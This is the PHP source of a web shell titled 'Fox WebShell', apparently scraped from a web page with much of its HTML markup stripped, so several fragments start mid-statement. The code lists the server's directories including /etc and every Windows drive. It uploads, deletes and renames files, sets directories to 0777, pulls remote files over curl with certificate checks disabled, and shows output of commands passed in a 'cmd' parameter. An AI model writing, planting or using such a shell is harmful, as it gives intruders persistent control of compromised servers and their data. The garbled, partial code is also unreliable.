Fox WebShell

$file]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode >= 200 && $httpCode < 300) { echo ""; echo ""; } else { $error = curl_error($ch); echo ""; } curl_close($ch); } else { // Local file upload $destinationFile = $destinationDir.'/'.$originalName; // If file exists, add a number to the filename $counter = 1; $fileInfo = pathinfo($originalName); while (file_exists($destinationFile)) { $destinationFile = $destinationDir.'/'.$fileInfo['filename'].'_'.$counter.'.'.$fileInfo['extension']; $counter++; } // Check if the upload directory is writable if (!is_writable($destinationDir)) { // Try to make the directory writable chmod($destinationDir, 0777); } // Try to upload with multiple attempts $maxAttempts = 3; $attempt = 0; $uploaded = false; while ($attempt < $maxAttempts && !$uploaded) { if (move_uploaded_file($_FILES['file']['tmp_name'], $destinationFile)) { $uploaded = true; echo ""; if (isset($_POST['upload_dir'])) { echo ""; } } else { $attempt++; if ($attempt == $maxAttempts) { $error = error_get_last(); $errorMessage = isset($error['message']) ? $error['message'] : 'Unknown error'; echo ""; } usleep(500000); } } } } ?> alert('Error: Could not read the file !')"; exit; } } } ?> alert('Directory deleted successfully!')"; } else { echo ""; } } else { if (unlink($file)) { echo ""; } else { echo ""; } } } } // Rename file function if (isset($_POST['rename'])) { $oldName = $_POST['old_name']; $newName = $_POST['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { echo ""; } else { echo ""; } } } // Change permissions function if (isset($_POST['chmod'])) { $file = $_POST['file']; $mode = octdec($_POST['mode']); if (file_exists($file)) { if (chmod($file, $mode)) { echo ""; } else { echo ""; } } } // Get all available paths function getAllPaths() { $paths = array(); // Windows paths if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $drives = array('C:', 'D:', 'E:', 'F:', 'G:', 'H:', 'I:', 'J:', 'K:', 'L:', 'M:', 'N:', 'O:', 'P:', 'Q:', 'R:', 'S:', 'T:', 'U:', 'V:', 'W:', 'X:', 'Y:', 'Z:'); foreach ($drives as $drive) { if (is_dir($drive)) { $paths[] = str_replace('\\', '/', $drive); } } } else { // Unix paths $paths = array('/'); $commonPaths = array('/home', '/var', '/etc', '/usr', '/opt', '/mnt', '/media'); foreach ($commonPaths as $path) { if (is_dir($path)) { $paths[] = $path; } } } return $paths; } ?> = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function getDir() { $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); // Convert backslashes to forward slashes for consistency $dir = str_replace('\\', '/', $dir); // Ensure the directory exists and is readable if (!is_dir($dir) || !is_readable($dir)) { return getcwd(); } return $dir; } function makeFileName($file) { if (is_dir(getDir().'/'.$file)) { return ''.$file.''; } else { return ''.$file.''; } } function getFiles() { $currentDir = getDir(); $files = @scandir($currentDir); if ($files === false) { echo "

Couldn't open that directory!

"; return; } $even = true; foreach($files as $filename) { if ($filename === '.' || $filename === '..') continue; $fullPath = $currentDir . '/' . $filename; if (!is_readable($fullPath) || in_array(strtolower($filename), array( 'hiberfil.sys', 'pagefile.sys', 'swapfile.sys', 'dumpstack.log.tmp', 'ntuser.dat', 'ntuser.dat.log', 'system volume information', '$recycle.bin' ))) { continue; } $escapedPath = htmlspecialchars($fullPath, ENT_QUOTES, 'UTF-8'); $isDir = is_dir($fullPath); $icon = $isDir ? 'fa-folder' : 'fa-file'; echo ''; echo ''; echo ' '; echo makeFileName($filename); echo ''; $owner = function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($fullPath))['name'] : get_current_user(); echo ' '.htmlspecialchars($owner, ENT_QUOTES, 'UTF-8').''; echo ' '.printPerms($fullPath).''; echo ' '.formatSizeUnits(@filesize($fullPath)).''; echo '

'; echo ''; $even = !$even; } } function getCmdResults() { global $cmdresults; global $retval; if ($retval == 0 ) { foreach ($cmdresults as $line) { echo "$line \n
"; } } else { echo "Execution failed with error code: ".$retval; } } function getCommandLine() { $hostname = gethostname() ?? 'none'; // Get username using Windows compatible method $username = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] : get_current_user(); $dir = getDir(); $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'No command'; return ''.$username.'@'.$hostname.': '.$dir.'$ '.$cmd; } ?> loadHTML($html); // Create a new DOMXPath $xpath = new DOMXPath($dom); // Find all links in the directory listing $links = $xpath->query("//a"); $files = array(); foreach ($links as $link) { $href = $link->getAttribute('href'); $text = $link->textContent; // Skip parent directory and current directory if ($text === '../' || $text === './') { continue; } // Get file info $fullUrl = rtrim($url, '/') . '/' . $href; $fileInfo = array( 'name' => $text, 'url' => $fullUrl, 'is_dir' => substr($text, -1) === '/', 'size' => 'N/A', 'date' => 'N/A' ); // Try to get file size and date $headers = @get_headers($fullUrl, 1); if ($headers !== false) { if (isset($headers['Content-Length'])) { $fileInfo['size'] = formatSizeUnits($headers['Content-Length']); } if (isset($headers['Last-Modified'])) { $fileInfo['date'] = $headers['Last-Modified']; } } $files[] = $fileInfo; } return $files; } // Add new function to display Index files function displayIndexFiles($url) { $files = getIndexFiles($url); if ($files === false) { echo "

Couldn't access the directory!

"; return; } echo '

'; echo '

Index of ' . htmlspecialchars($url) . '

'; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; // Add upload row echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; foreach ($files as $file) { $icon = $file['is_dir'] ? 'fa-folder' : 'fa-file'; $name = $file['is_dir'] ? rtrim($file['name'], '/') : $file['name']; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '

Name	Size	Last Modified	Actions
Upload File	-	-
' . htmlspecialchars($name) . '	' . $file['size'] . '	' . $file['date'] . '	'; if ($file['is_dir']) { echo ' Open'; } else { echo ' Download'; } echo '

'; echo '

'; } ?> Fox WebShell

Exploring:

Name	Owner	Permissions	Size	Actions